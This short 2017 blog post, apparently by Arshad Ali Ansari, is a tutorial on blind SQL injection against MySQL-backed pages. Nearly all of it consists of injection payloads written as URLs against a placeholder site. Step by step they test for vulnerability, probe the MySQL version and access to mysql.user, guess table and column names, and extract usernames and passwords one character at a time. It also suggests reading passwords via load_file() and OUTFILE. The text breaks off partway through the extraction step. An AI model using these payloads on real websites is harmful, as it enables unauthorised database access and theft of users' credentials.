Blind or Basic Sql Injection

 04/05/2017 - 06:48
Sql injection

Note : Only For Educational Purpose.>!!!

Let's start with advanced stuff.

I will be using our example


when we execute this, we see some articles on that page, pictures etc...

then when we want to test it for blind sql injection attack

http://www.site.com/news.php?id=5 and 1=1 <--- this is always true

and the page loads normally, that's ok.

now the real test http://www.site.com/news.php?id=5 and 1=2 <--- this is false

so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.
Steps -

1) Get the MySQL version to get the version in blind attack we use substring
i.e http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
this should return TRUE if the version of MySQL is 4.
replace 4 with 5, and if query return TRUE then the version is 5. i.e
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

2) Test if subselect works
when select don't work then we use subselect
i.e http://www.site.com/news.php?id=5 and (select 1)=1
if page loads normally then subselects work.
then we gonna see if we have access to mysql.user
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.

3). Check table and column names
This is part when guessing is the best friend :)
i.e. http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)
then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one :)
let's say that we have found that table name is users, now what we need is column name.
the same as table name, we start guessing. Like i said before try the common names for columns.
i.e http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
if the page loads normally we know that column name is password (if we get false then try common names or just guess)
here we merge 1 with the column password, then substring returns the first character (,1,1)

4). Pull data from database
we found table users i columns username password so we gonna pull characters from that.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
ok this here pulls the first character from first user in table users.
substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value
and then compare it with simbol greater then > .
so if the ascii char greater then 80, the page loads normally. (TRUE)
we keep trying until we get false.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
we get TRUE, keep incrementing
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
TRUE again, higher

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Arshad Ali Ansari

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